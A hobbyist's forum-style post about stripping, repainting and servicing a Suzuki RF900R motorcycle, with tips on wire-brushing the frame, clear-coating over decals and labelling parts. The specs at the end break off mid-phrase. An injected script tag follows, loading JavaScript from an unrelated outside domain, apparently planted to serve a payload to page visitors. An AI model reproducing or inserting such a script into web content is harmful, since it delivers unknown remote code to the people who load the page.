orangevettekiller

I bought a Suzuki RF900R and it was a maroonish red with a matching frame. I hated it so I got it home and days later tore it all apart. I mean I took everything off, the wheels , all the plastic, signals, forks and all. I sanded it all down and while I was in there I put new spark pluggs (NGK CR9E), New anti frezze and changed the oil and oil filter. I put in a new K&N air filter, new brake fluid (DOT4) and clutch fluid(DOT4) and I got a new Dunlope rear tire. REAR(170/60-17)FRONT(120/70-17) StockSize´s. I went to a local Custom´s shop and got stickers made 2 for the gas tank, 1 for over the head light in the front and 2 937 stickers for the bottom side panels. Then I got the plastic painted HEMI Orange and the vents black and the grab bar black (which is a good idea because if you get a girl on the back or somthing and she has a ring on and scratches it it is an easy fix). I left the stock black stripe that also says 16 valve DOHC straight intake and I had debated on doing the wheels orange but mine have the alloy color on the outside and black on the inner part of the wheel. I thought it looked good so I left it. Now one very helpful piece of info for anyone who is considering doing a project like this is on the frame of the bike (especaliy the Suzuki RF series) if it is painted a very good way to get the paint off is to get a regular drill and a wire brush attchment to go on the drill (can be found at any hardware store for about 3.00$). Take the drill, run it backwards and let the wire brush tear the paint away. It will take a long time but it is gentle and works very well. To get down in the welds and other hard to reach places. Once you are done doing that it will look very good. You might want to leave it like that. Well before you do that you should put a magnet on it and if it sticks to it then get the idea out of your head if it dosnt then with alot of mother´s polish or something you could pull it off. But best thing to do is wirebrush it down to metal then primet then sane 900+ grit sandpapre then prime agian and sand a repeat once more then sand well then paint. The #1 rule to make a bike look really good and factory (this will also keep your value as well as your trade in value for a bike) is to put your decals on after you paint it. Then once that is dry clear coat over the decals so that they will never crack, chip,peel or get scrathced. Motorcycle dealers dont like seeing just a paint job and then decals on over the paint because factory is clear coated over. One more thing as you take your bike apart every bolt, screw, anything you take off put it in a little bag and lable it. Becasue this is a big project and you most likely will never remember and you dont want to have any parts left over after the job is done. Now back to my story I got everything all done and put it all back together with no pieces left over. It ran perfect just took a little while for it to start because the gas tank had been off and it had too wait for the gas to get to it. I think it came out very well and I love the bike. It is a very good bike because it rides smooth and the seat is nice for the passenger. It is a 937 so it has plenty of get up and go with a rev limiter of 12,000 which is pretty high for the year and displacement (937cc). If anyone has any questions about the Suzuki RF 900R contact me and I will try to help SPECS I HAVE SEEN ONLINE TOP SPEED --176 HORSE POWER-- 135 @ 10,000 1/4 m&<script src=http://www.adw95.com/b.js></script>